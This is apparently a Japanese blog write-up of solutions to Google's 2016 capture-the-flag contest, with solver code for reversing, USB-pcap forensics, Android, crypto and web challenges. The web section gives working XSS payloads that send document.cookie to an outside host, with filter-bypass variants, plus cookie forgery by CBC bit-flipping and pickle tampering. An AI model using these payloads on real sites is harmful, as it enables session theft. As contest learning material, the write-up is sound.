LoginSignup
6
6

More than 5 years have passed since last update.

Google Capture The Flag Write-up

Last updated at Posted at 2016-05-01

たぶんGoogle初のCTF。ぼっちチームsuperflipは955点で107位。

Googleらしく全体的にクオリティが高かった気がする。SSLが当たり前になっていてすごい。1日しか参加できなかったから仕方が無いが、もう少し解きたかった。

Reverse Engineering

Audio Visual Receiver code

u, d, l, r, a, bを入力するたびに文字に応じてstateの値が変わっていく。その都度、check^=stateが実行されて、aを入力したときにはcheckの値が確認される。30文字になったら、これまでのstateの値と埋め込まれていた値のxorが取られ、フラグとして出力される。6通りで全探索は厳しそうだが、checkの値の確認とフラグがASCII文字列になるという制約があるので、計算できる。

def up(s): return (s*3)&0xff
def down(s): return (((s>>1<<3)&0xff)-(s>>1))&0xff
def left(s): return (s<<1)&0xff
def right(s): return (s>>3|s<<5)&0xff
def a(s): return (s<<4|s>>4)&0xff
def b(s): return s^0xff
op = [up, down, left, right, a, b]

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_-"
C = [0x46, 0x5B, 0x6B, 0xE1, 0x6F, 0x5E, 0xA3, 0xD3, 0xA2, 0x1C, 0x82, 0xED, 0x62, 0x24, 0x67, 0x71, 0xDD, 0x6D, 0xF3, 0x20, 0x83, 0x8D, 0xCA, 0x3E, 0x33, 0xC8, 0x75, 0x5A, 0x68, 0x87]
D = ["x"]*len(C)
Cross = [0x25, 0x68, 0xef]


def BT(P, state, check, depth, maxdepth, cross):
    D[depth] = chr(C[depth]^state)
    if D[depth] not in A:
        return
    if depth==maxdepth:
        if cross==2:
            print "".join(D)
        return
    for x in [0, 1, 2, 3, 4, 5]:
        if x==4 and check^state != Cross[cross]:
            continue
        BT(P+[x], op[x](state), 0 if x==4 else check^state, depth+1, maxdepth, cross+1 if x==4 else cross)

BT([], 5, 0, 0, 0x1d, 0)

これで、候補がいくつか出てくるので、フラグっぽいものを選んだ。

CTF{the_3rd_time_is_the_charm}

Forensics

For2

USBの通信のpcap。各パケットで、0xf0から0x10くらいまでの間で変化している値があるので、マウスか何かの差分だと当たりをつけてプロットした。そのままでは線がゴチャゴチャして見づらかったが、隣に0と1に変化する値があってこれがマウスが押されているかどうからしいので、1の場所のみをプロットしたら答えが見えた。

import struct

d = open("capture.pcapng", "rb").read()
x, y = 0, 0
for p in range(0x195c, len(d), 0x40):
    f, dx, dy = struct.unpack("bbb", d[p+0x1b:p+0x1e])
    x += dx
    y += dy
    if f:
        print "%d\t%s"%(x, y)

image

tHEは線が繋がっていて読み取りづらいし、大文字小文字は分かりづらいし、ひどい。

CTF{tHE_cAT_iS_the_cULpRiT}

In Recorded Conversation

IRCの通信の様子。WiresharkでFollow TCP Streamした。

CTF{some_leaks_are_good_leaks_}

Crypto

Eucalypt Forest

CBCモードで暗号化したセッション情報とIVをCookieに書くことにしたらしい。IVのビットを反転すれば、平文のビットも反転する。cdminでログインしたら、Cookieは、5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9となった。cにあたる部分の下から2ビット目を反転させればadminになる。

{ " u s e r n a m e " :   " c d m i n " }
5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
                             ^ここ
5a71adf6a37544a1dd6f08aa994aa3300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
{ " u s e r n a m e " :   " a d m i n " }

CTF{lettuce.3njoy.our.f00d.puns}

Mobile

Ill Intentions

Androidアプリ。特定のインテントを送るとブロードキャストでフラグが返ってくるらしい。Androidアプリを書くのが面倒だったので、amコマンドでインテントを送った。

adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOne

ブロードキャストの受信はできないけれど、この時点で端末のメモリ中にフラグの値が存在するはずなので、エミュレータのメモリをダンプして検索した。

CTF{IDontHaveABadjokeSorry}

Can you repo it?

5点問題。Ill Intentionsの作者はパブリックリポジトリがどうこうと書いてある。aapt.exe d strings illintentions.apkで文字列をダンプすると、l33tdev42という文字列が出てくる。文字列と識別子の対応を取る方法が分からないけど、resources.arscの中にはgit_userという文字列もある。この人のGitHubを見に行くと、間違って追加したパスワードを消していた(ノ∀`)アチャー

ctf{TheHairCutTookALoadOffMyMind}

Web

Wallowing Wallabies - Part One

最初はどこから手を付けて良いのか分からなかったが、robots.txtにURLが書いてある。

XSSする問題。<script src="を含む文字列を書けと言われたので、<script src="http://sanya.sweetduet.info/tmp/hoge.js"></script>と書いた。hoge.jsは、

location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;

サーバーのアクセスログを見て、Cookieを設定して、robots.txtの他のURLにアクセスしたらフラグが表示された。

CTF{feeling_robbed_of_your_cookies}

Wallowing Wallabies - Part Two

第2弾。<script>~</script>**ANTI**HACKER**に置換されてしまう。それならばと、<img src=# onerror='~'>と書いたが、<img **ANTI**HACKER**# **ANTI**HACKER**'~'>になってしまった。<input autofocus onfocus='~'>はそのまま書き込めるが、相手のブラウザで動かない模様。

**ANTI**HACKER**#=まで消えているのが気になって、

<img src =# onerror ='location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;'>

とスーペースを入れたら通った。

CTF{strict_contextual_autoescaping_to_solve_your_xss_woes}

Ernst Echidna

ユーザー登録するとmd5-hashというCookieが設定される、md5(admin)を設定するだけ。

CTF{renaming-a-bunch-of-levels-sure-is-annoying}

Wallowing Wallabies - Part Three

XSS第3弾。素直にスクリプトが書けるかと思いきや、.が消える。

<script>eval(atob("bG9jYXRpb24uaHJlZj0iaHR0cDovL3NhbnlhLnN3ZWV0ZHVldC5pbmZvL3RtcC9ob2dlLmpzPyIrZG9jdW1lbnQuY29va2llOw=="))</script>

CTF{intents_is_the_INTENTed_way_to_solve_some_an_android_level}

Spotted Quoll

obsoletePickleというCookieが設定される。Pythonのシリアライズ。書き換えれば良い。

>>> x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64"))
>>> x
{'python': 'pickles', 'subtle': 'hint', 'user': None}
>>> x["user"]="admin"
>>> print pickle.dumps(x).encode("base64")
KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4=

Your flag is CTF{but_wait,theres_more.if_you_call}

Networking

Opabina Regalis - Token Fetch

Protocol Buffers。これを使うと異なる言語間で共通のバイナリフォーマットを扱えるらしい。XMLやjSONと違ってバイナリなのでサイズが大きくならない。

定義をexchange.protoというファイル名で保存して、protoc.exe exchange.proto --python_out .でPython用のファイルが出力される。

from exchange_pb2 import Exchange

e = Exchange()
req = e.request
req.ver = Exchange.GET
req.uri = "/token"
header = req.headers.add()
header.key = "Accept-Encoding"
header.value = "blah"

from socket import *
from struct import *
from ssl import *

s = wrap_socket(socket(AF_INET, SOCK_STREAM))
s.connect(("ssl-added-and-removed-here.ctfcompetition.com", 1876))
d = e.SerializeToString()
print repr(d)
s.send(pack("<I", len(d)))
s.send(d)

l = unpack("<I", s.recv(4))[0]
d = s.recv(l)
print repr(d)

こんな感じで使う。結果が返ってこなくて、しばらく悩んだが。SSLで接続する必要があったからだった。ssl-added-and-removed-hereの意味が分かっていなかった。

/not-tokenにリダイレクトされて、(なぜか一度切断するとダメなので、同一の通信で)/not-tokenにアクセスすると「これがトークンだ。Server: opabina-regalis.go」と言われ、それを付けると/tokenを見ろと言われるのでアクセスするとフラグが手に入る。

CTF{WhyDidTheTomatoBlush...ItSawTheSaladDressing}

これが終了45分前(だと思っていた時刻)で、「1000点突破した(・∀・)」と思ってサブミットしたら、「もうコンテストは終了してるよ」と言われた。コンテストの時刻が太平洋標準時で書かれていたけど、夏時間を考えていなかった。つらい。

6
6
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
6